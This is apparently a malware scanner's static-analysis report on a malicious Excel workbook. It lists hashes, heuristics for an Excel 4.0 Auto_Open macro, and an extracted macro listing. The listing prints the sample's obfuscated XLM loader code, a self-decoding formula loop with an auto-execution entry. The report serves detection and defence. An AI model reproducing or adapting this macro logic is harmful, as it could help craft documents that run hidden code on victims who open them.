Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5acf3dbafdec799…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:25 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 29109989f957cc7f3db8a0ea031ebf08 SHA-1: 1ceb7598c4a82a387c5a7df080a279b08014f02d SHA-256: d5acf3dbafdec7996aacfc5fa7fc298715f90bab42e852ac4579613fe0371937
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6640 bytes
SHA-256: 9fd95b4613b0c3d727b2188aa756ffe0e2701b4b317f0571e9e16859270ddc49
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GbQQX
' 0018     24 LABEL : Cell Value, String Constant - abgJkWyXW len=0 
' 0018     20 LABEL : Cell Value, String Constant - anyUt len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D147 
' 0018     27 LABEL : Cell Value, String Constant - BkJWFiGXoIAa len=0 
' 0018     23 LABEL : Cell Value, String Constant - CDQiCnPy len=0 
' 0018     26 LABEL : Cell Value, String Constant - DVkYUBTYMbC len=0 
' 0018     25 LABEL : Cell Value, String Constant - eMgswXnTYb len=0 
' 0018     22 LABEL : Cell Value, String Constant - FBfYghh len=0 
' 0018     25 LABEL : Cell Value, String Constant - gHntJMdvkf len=0 
' 0018     21 LABEL : Cell Value, String Constant - jnIBMh len=0 
' 0018     24 LABEL : Cell Value, String Constant - lHgOnjeji len=0 
' 0018     27 LABEL : Cell Value, String Constant - NKCjOApTzvwm len=0 
' 0018     24 LABEL : Cell Value, String Constant - NmVwqAtdQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - OIYWKnBDafs len=0 
' 0018     23 LABEL : Cell Value, String Constant - onxHIjQo len=0 
' 0018     22 LABEL : Cell Value, String Constant - reVWoKi len=0 
' 0018     26 LABEL : Cell Value, String Constant - TZzXwFNNFGl len=0 
' 0018     25 LABEL : Cell Value, String Constant - VXipkEmBVe len=0 
' 0018     21 LABEL : Cell Value, String Constant - WjssjD len=0 
' 0018     21 LABEL : Cell Value, String Constant - XHhzpg len=0 
' 0018     25 LABEL : Cell Value, String Constant - YzEcVVaZzH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GbQQX,T42,"",-700.00000000000000000000
'  GbQQX,T43,"",-801.00000000000000000000
'  GbQQX,T44,"",-662.00000000000000000000
'  GbQQX,T45,"",288.00000000000000000000
'  GbQQX,T46,"",834.00000000000000000000
'  GbQQX,T47,"",-872.00000000000000000000
'  GbQQX,D63,"SET.NAME("XHhzpg",0+VALUE("0"))",""
'  GbQQX,D65,"SET.NAME("eMgswXnTYb",XHhzpg)",""
'  GbQQX,D70,"SET.NAME("CDQiCnPy",XHhzpg)",""
'  GbQQX,D72,"SET.NAME("lHgOnjeji",COUNTA(OIYWKnBDafs))",""
'  GbQQX,D74,"SET.NAME("YzEcVVaZzH",COUNTA(BkJWFiGXoIAa))",""
'  GbQQX,D76,[],""
'  GbQQX,D78,"SET.NAME("FBfYghh","")",""
'  GbQQX,D81,"eMgswXnTYb",""
'  GbQQX,D83,"SET.NAME("reVWoKi",HLOOKUP("*",OIYWKnBDafs,eMgswXnTYb,FALSE))",""
'  GbQQX,D86,"TZzXwFNNFGl",""
'  GbQQX,D88,"SET.NAME("WjssjD",XHhzpg)",""
'  GbQQX,D92,[],""
'  GbQQX,D95,"WjssjD",""
'  GbQQX,D98,"jnIBMh",""
'  GbQQX,D103,"NKCjOApTzvwm",""
'  GbQQX,D106,"onxHIjQo",""
'  GbQQX,D108,"SET.NAME("DVkYUBTYMbC",VALUE(HLOOKUP("*",BkJWFiGXoIAa,onxHIjQo,FALSE)))",""
'  GbQQX,D112,"VXipkEmBVe",""
'  GbQQX,D117,"FBfYghh",""
'  GbQQX,D121,"CDQiCnPy",""
'  GbQQX,D126,NEXT(),""
'  GbQQX,D130,"NmVwqAtdQ",""
'  GbQQX,D132,[],""
'  GbQQX,D137,"abgJkWyXW",""
'  GbQQX,D139,NEXT(),""
'  GbQQX,D142,RETURN(),""
'  GbQQX,D167,"SET.NAME("anyUt",D63)",""
'  GbQQX,D171,"OIYWKnBDafs",""
'  GbQQX,D173,"SET.NAME("BkJWFiGXoIAa",R94C14)",""
'  GbQQX,D177,"SET.NAME("abgJkWyXW",184)",""
'  GbQQX,D181,"SET.NAME("gHntJMdvkf",4)",""
'  GbQQX,D183,anyUt(),""
'  GbQQX,D184,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.